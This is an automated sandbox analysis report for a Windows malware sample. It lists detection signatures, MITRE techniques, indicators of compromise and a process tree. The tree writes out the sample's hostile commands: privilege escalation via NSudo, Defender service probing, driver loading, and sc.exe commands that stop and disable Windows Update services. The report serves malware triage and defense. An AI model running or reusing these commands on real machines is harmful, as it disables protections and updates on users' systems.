b9c096a4efbd8d76f350700fecb51971991e5fe6522651bccded54db1514dd2e

Analysis

max time kernel
149s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 20:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_b9c096a4efbd8d76f350700fecb51971991e5fe6522651bccded54db1514dd2e.exe
Size 3.6MB
Sample260910-y2x3esgl7v
SHA256 b9c096a4efbd8d76f350700fecb51971991e5fe6522651bccded54db1514dd2e
MD5 9e65cb9e9be342eb79552e94becbc0a7
SHA1 00b3bb94b646c1a1997b6da551f4c0880ae7dd89
SHA512 daa87763ce44778e656d1d96b59fe1ca51bb5a6b831927faa30b7ab425e50cc9f30a8e68f62798741bbae0309eefa5dd501183769c789207c41023c44a19160d
SSDEEP 98304:abT3R4w3K6tZSaMSs1eJMn7w08BKAqffmjz:M2w3E16MiBrUfmH
TLSH
T1FE0633017DC68972D47304F30A3997B2667DBE10BF34CDDBA7812A26F6761D0EA30666
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Detected Nirsoft tools 1 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/files/0x0007000000024446-16.dat	Nirsoft

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	mika.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	mika.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	mika.exe

NirSoft NirCmd 1 IoCs

NirCmd is a lightweight Windows command-line tool for automating system tasks

resource	yara_rule
behavioral1/files/0x0007000000024446-16.dat	NirCmd

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	mika.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	mika.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mika.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	mika.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mika.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	mika.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mika.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	mika.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	jaffacakes118_b9c096a4efbd8d76f350700fecb51971991e5fe6522651bccded54db1514dd2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	mika.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	mika.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	mika.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 15 IoCs

pid	Process
4788	nircmd.exe
1776	NSudoLG.exe
116	7z.exe
3988	mika.exe
4592	mika.exe
888	mika.exe
2924	IObitUnlocker.exe
1224	IObitUnlocker.exe
2644	IObitUnlocker.sys
4332	IObitUnlocker.exe
1764	IObitUnlocker.exe
528	IObitUnlocker.exe
4604	IObitUnlocker.exe
3600	IObitUnlocker.exe
2780	IObitUnlocker.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Wine	mika.exe
Key opened	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Wine	mika.exe
Key opened	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Software\Wine	mika.exe

Loads dropped DLL 8 IoCs

pid	Process
2924	IObitUnlocker.exe
1224	IObitUnlocker.exe
4332	IObitUnlocker.exe
1764	IObitUnlocker.exe
528	IObitUnlocker.exe
4604	IObitUnlocker.exe
3600	IObitUnlocker.exe
2780	IObitUnlocker.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4496	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
3988	mika.exe
4592	mika.exe
888	mika.exe

Launches sc.exe 27 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4448	sc.exe
4312	sc.exe
2720	sc.exe
4560	sc.exe
4444	sc.exe
4660	sc.exe
3612	sc.exe
4896	sc.exe
4552	sc.exe
2564	sc.exe
1748	sc.exe
4020	sc.exe
2316	sc.exe
3160	sc.exe
4496	sc.exe
4588	sc.exe
1960	sc.exe
4412	sc.exe
1256	sc.exe
4888	sc.exe
4792	sc.exe
4892	sc.exe
4468	sc.exe
2780	sc.exe
2372	sc.exe
756	sc.exe
4736	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 11 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2168	cmd.exe
4688	cmd.exe
4776	cmd.exe
3984	cmd.exe
2796	cmd.exe
4248	cmd.exe
4692	cmd.exe
5020	cmd.exe
4980	cmd.exe
1020	cmd.exe
2760	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_b9c096a4efbd8d76f350700fecb51971991e5fe6522651bccded54db1514dd2e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mika.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mika.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mode.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mika.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
3808	taskkill.exe
4920	taskkill.exe
1976	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize\AppsUseLightTheme = "0"	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
216	reg.exe

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
1776	NSudoLG.exe
1776	NSudoLG.exe
3988	mika.exe
3988	mika.exe
4592	mika.exe
4592	mika.exe
888	mika.exe
888	mika.exe
2924	IObitUnlocker.exe
2924	IObitUnlocker.exe
2924	IObitUnlocker.exe
2924	IObitUnlocker.exe
1224	IObitUnlocker.exe
1224	IObitUnlocker.exe
1224	IObitUnlocker.exe
1224	IObitUnlocker.exe
4332	IObitUnlocker.exe
4332	IObitUnlocker.exe
4332	IObitUnlocker.exe
4332	IObitUnlocker.exe
1764	IObitUnlocker.exe
1764	IObitUnlocker.exe
1764	IObitUnlocker.exe
1764	IObitUnlocker.exe
528	IObitUnlocker.exe
528	IObitUnlocker.exe
528	IObitUnlocker.exe
528	IObitUnlocker.exe
4604	IObitUnlocker.exe
4604	IObitUnlocker.exe
4604	IObitUnlocker.exe
4604	IObitUnlocker.exe
3600	IObitUnlocker.exe
3600	IObitUnlocker.exe
3600	IObitUnlocker.exe
3600	IObitUnlocker.exe
2780	IObitUnlocker.exe
2780	IObitUnlocker.exe
2780	IObitUnlocker.exe
2780	IObitUnlocker.exe

Suspicious behavior: LoadsDriver 16 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	1776	NSudoLG.exe
Token: SeDebugPrivilege	4496	tasklist.exe
Token: SeRestorePrivilege	116	7z.exe
Token: 35	116	7z.exe
Token: SeSecurityPrivilege	116	7z.exe
Token: SeSecurityPrivilege	116	7z.exe
Token: SeDebugPrivilege	3808	taskkill.exe
Token: SeRestorePrivilege	4300	reg.exe
Token: SeRestorePrivilege	3548	reg.exe
Token: SeLoadDriverPrivilege	4592	mika.exe
Token: SeDebugPrivilege	4920	taskkill.exe
Token: SeLoadDriverPrivilege	888	mika.exe
Token: SeDebugPrivilege	1976	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
2924	IObitUnlocker.exe
1224	IObitUnlocker.exe
4332	IObitUnlocker.exe
1764	IObitUnlocker.exe
528	IObitUnlocker.exe
4604	IObitUnlocker.exe
3600	IObitUnlocker.exe
2780	IObitUnlocker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3444 wrote to memory of 4688	3444	jaffacakes118_b9c096a4efbd8d76f350700fecb51971991e5fe6522651bccded54db1514dd2e.exe	86
PID 4688 wrote to memory of 4788	4688	cmd.exe	89
PID 4688 wrote to memory of 4200	4688	cmd.exe	90
PID 4688 wrote to memory of 1224	4688	cmd.exe	91
PID 4688 wrote to memory of 3540	4688	cmd.exe	92
PID 4688 wrote to memory of 1776	4688	cmd.exe	93
PID 4688 wrote to memory of 1100	4688	cmd.exe	94
PID 4688 wrote to memory of 2796	4688	cmd.exe	95
PID 4688 wrote to memory of 4944	4688	cmd.exe	96
PID 4688 wrote to memory of 2040	4688	cmd.exe	97
PID 4688 wrote to memory of 4776	4688	cmd.exe	98
PID 4776 wrote to memory of 4496	4776	cmd.exe	99
PID 4688 wrote to memory of 4588	4688	cmd.exe	101
PID 4688 wrote to memory of 2368	4688	cmd.exe	102
PID 4688 wrote to memory of 3952	4688	cmd.exe	103
PID 4688 wrote to memory of 2416	4688	cmd.exe	104
PID 4688 wrote to memory of 2404	4688	cmd.exe	105
PID 4688 wrote to memory of 5096	4688	cmd.exe	106
PID 4688 wrote to memory of 3508	4688	cmd.exe	107
PID 4688 wrote to memory of 888	4688	cmd.exe	108
PID 4688 wrote to memory of 2664	4688	cmd.exe	109
PID 4688 wrote to memory of 4520	4688	cmd.exe	110
PID 4688 wrote to memory of 4828	4688	cmd.exe	111
PID 4688 wrote to memory of 1972	4688	cmd.exe	113
PID 4688 wrote to memory of 4996	4688	cmd.exe	114
PID 4688 wrote to memory of 2652	4688	cmd.exe	115
PID 4688 wrote to memory of 2988	4688	cmd.exe	116
PID 4688 wrote to memory of 4504	4688	cmd.exe	118
PID 4688 wrote to memory of 1300	4688	cmd.exe	119
PID 4688 wrote to memory of 2940	4688	cmd.exe	120
PID 4688 wrote to memory of 1920	4688	cmd.exe	121
PID 4688 wrote to memory of 5108	4688	cmd.exe	122
PID 4688 wrote to memory of 216	4688	cmd.exe	123
PID 4688 wrote to memory of 116	4688	cmd.exe	124
PID 4688 wrote to memory of 3988	4688	cmd.exe	125
PID 3988 wrote to memory of 4248	3988	mika.exe	126
PID 4248 wrote to memory of 4312	4248	cmd.exe	128
PID 3988 wrote to memory of 3984	3988	mika.exe	129
PID 3984 wrote to memory of 3808	3984	cmd.exe	131
PID 4688 wrote to memory of 4792	4688	cmd.exe	132
PID 4688 wrote to memory of 4892	4688	cmd.exe	133
PID 4688 wrote to memory of 2720	4688	cmd.exe	134
PID 4688 wrote to memory of 4560	4688	cmd.exe	135
PID 4688 wrote to memory of 4468	4688	cmd.exe	136
PID 4688 wrote to memory of 4444	4688	cmd.exe	137
PID 4688 wrote to memory of 2780	4688	cmd.exe	138
PID 4688 wrote to memory of 2564	4688	cmd.exe	139
PID 4688 wrote to memory of 2372	4688	cmd.exe	140
PID 4688 wrote to memory of 4412	4688	cmd.exe	141
PID 4688 wrote to memory of 756	4688	cmd.exe	142
PID 4688 wrote to memory of 4736	4688	cmd.exe	143
PID 4688 wrote to memory of 1748	4688	cmd.exe	144
PID 4688 wrote to memory of 4660	4688	cmd.exe	145
PID 4688 wrote to memory of 3612	4688	cmd.exe	146
PID 4688 wrote to memory of 1256	4688	cmd.exe	147
PID 4688 wrote to memory of 4896	4688	cmd.exe	148
PID 4688 wrote to memory of 4552	4688	cmd.exe	149
PID 4688 wrote to memory of 4020	4688	cmd.exe	150
PID 4688 wrote to memory of 2316	4688	cmd.exe	151
PID 4688 wrote to memory of 4464	4688	cmd.exe	152
PID 4688 wrote to memory of 644	4688	cmd.exe	153
PID 4688 wrote to memory of 2036	4688	cmd.exe	154
PID 4688 wrote to memory of 4300	4688	cmd.exe	155
PID 4688 wrote to memory of 4332	4688	cmd.exe	156

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_b9c096a4efbd8d76f350700fecb51971991e5fe6522651bccded54db1514dd2e.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_b9c096a4efbd8d76f350700fecb51971991e5fe6522651bccded54db1514dd2e.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tYn0EDDs8.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Users\Admin\AppData\Local\Temp\saked\nircmd.exe
    nircmd win min process "cmd.exe"
    3⤵
    - Executes dropped EXE
    PID:4788
- - C:\Windows\SysWOW64\chcp.com
    chcp 65001
    3⤵
    PID:4200
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1224
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:3540
- - C:\Users\Admin\AppData\Local\Temp\saked\NSudoLG.exe
    NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\tYn0EDDs8.bat" any_word
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1776
- - C:\Windows\SysWOW64\mode.com
    Mode 79,49
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ver
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2796
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
    3⤵
    PID:4944
- - C:\Windows\SysWOW64\find.exe
    find /i "0x0"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4496
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
    3⤵
    PID:4588
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2368
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3952
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\Sense"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2416
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2404
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5096
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3508
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:888
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2664
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4520
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4828
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1972
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
    3⤵
    PID:4996
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2652
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2988
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4504
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ver "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1300
- - C:\Windows\SysWOW64\findstr.exe
    findstr /c:"6.1.7601"
    3⤵
    PID:2940
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1920
- - C:\Windows\SysWOW64\find.exe
    find /i "Windows 7"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5108
- - C:\Windows\SysWOW64\reg.exe
    reg query HKLM\System\CurrentControlset\Services\WdFilter
    3⤵
    - Modifies registry key
    PID:216
- - C:\Users\Admin\AppData\Local\Temp\saked\7z.exe
    7z x -aoa -bso0 -bsp1 "same.zip" -p"stucha" "mika.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:116
- - C:\Users\Admin\AppData\Local\Temp\saked\mika.exe
    mika.exe /CurrentDiskSize
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3988
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4248
    - - C:\Windows\SysWOW64\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4312
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "3988"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3984
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /pid "3988"
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3808
- - C:\Windows\SysWOW64\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4792
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4892
- - C:\Windows\SysWOW64\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2720
- - C:\Windows\SysWOW64\sc.exe
    sc config dosvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4560
- - C:\Windows\SysWOW64\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4468
- - C:\Windows\SysWOW64\sc.exe
    sc config bits start= disabled
    3⤵
    - Launches sc.exe
    PID:4444
- - C:\Windows\SysWOW64\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2780
- - C:\Windows\SysWOW64\sc.exe
    sc config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2564
- - C:\Windows\SysWOW64\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2372
- - C:\Windows\SysWOW64\sc.exe
    sc config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4412
- - C:\Windows\SysWOW64\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:756
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
